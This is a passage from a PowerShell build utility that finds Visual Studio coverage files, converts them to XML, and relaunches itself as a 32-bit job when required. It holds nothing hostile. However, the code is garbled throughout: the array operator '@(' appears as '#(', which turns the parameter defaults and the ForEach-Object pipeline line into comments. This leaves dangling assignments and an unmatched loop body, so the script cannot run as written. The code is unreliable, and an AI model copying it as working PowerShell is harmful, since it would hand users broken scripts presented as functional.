New-Item "$OutputCoverageFile" -ItemType "file"
}
#>
$RunAs32Bit = {
Param(
[String] $InputCoveragePath =#("..\GeneratedFiles\Docs\Reports"),
[String] $OutputCoverageFileExtension =#(".coveragexml"),
[String] $CoverageAnalysisAssembly =#("Microsoft.VisualStudio.Coverage.Analysis.dll"),
[String[]] $ExecutablePaths =#(""),
[String[]] $SymbolPaths =#(""),
[String] $ScriptLocation =#(".")
)
Write-Host "[CoverageConverter][Begin]: Coverage conversion started..."
Write-Host "[CoverageConverter][InputCoveragePath]: $InputCoveragePath"
Write-Host "[CoverageConverter][OutputCoverageFileExtension]: $OutputCoverageFileExtension"
Write-Host "[CoverageConverter][CoverageAnalysisAssembly]: $CoverageAnalysisAssembly"
Write-Host "[CoverageConverter][ExecutablePaths]: $ExecutablePaths"
Write-Host "[CoverageConverter][SymbolPaths]: $SymbolPaths"
Write-Host "[CoverageConverter][ScriptLocation]: $ScriptLocation"
Import-Module -Force -Name (Join-Path "$ScriptLocation" "Utilities.psm1")
Add-Type -path "$CoverageAnalysisAssembly"
$Result = 0
if($InputCoveragePath -and (Test-Path "$InputCoveragePath") )
{
[string[]] $coverageFiles = $(Get-ChildItem -Path $InputCoveragePath -Recurse -Include *coverage)
#($coverageFiles) | ForEach-Object {
$coverageFile = $_
$coverageFileOut = (Join-Path -Path $(Split-Path $_ -Parent) -ChildPath ($(Get-Item $_).BaseName + "$OutputCoverageFileExtension"))
Write-Host "If all OK the xml will be written to: $coverageFileOut"
$info = [Microsoft.VisualStudio.Coverage.Analysis.CoverageInfo]::CreateFromFile($coverageFile, $ExecutablePaths, $SymbolPaths);
if($info){
$data = $info.BuildDataSet()
$data.WriteXml($coverageFileOut)
}
}
}
else
{
Write-Host "Please specify a valid input coverage file."
$Result = 1
}
Write-Host "[CoverageConverter][End]: Coverage conversion completed with result $Result"
return $Result
}
#Run the code in 32bit mode if PowerShell isn't already running in 32bit mode
If($env:PROCESSOR_ARCHITECTURE -ne "x86"){
Write-Warning "Non-32bit architecture detected, processing original request in separate 32bit process."
$Job = Start-Job $RunAs32Bit -RunAs32 -ArgumentList ($InputCoveragePath, $OutputCoverageFileExtension, $CoverageAnalysisAssembly, $ExecutablePaths, $SymbolPaths, $ScriptLocation)
$Result = $Job | Wait-Job | Receive-Job
}Else{
$Result = Invoke-Command -ScriptBlock $RunAs32Bit -ArgumentList ($InputCoveragePath, $OutputCoverageFileExtension, $CoverageAnalysisAssembly, $ExecutablePaths, $SymbolPaths, $ScriptLocation)
}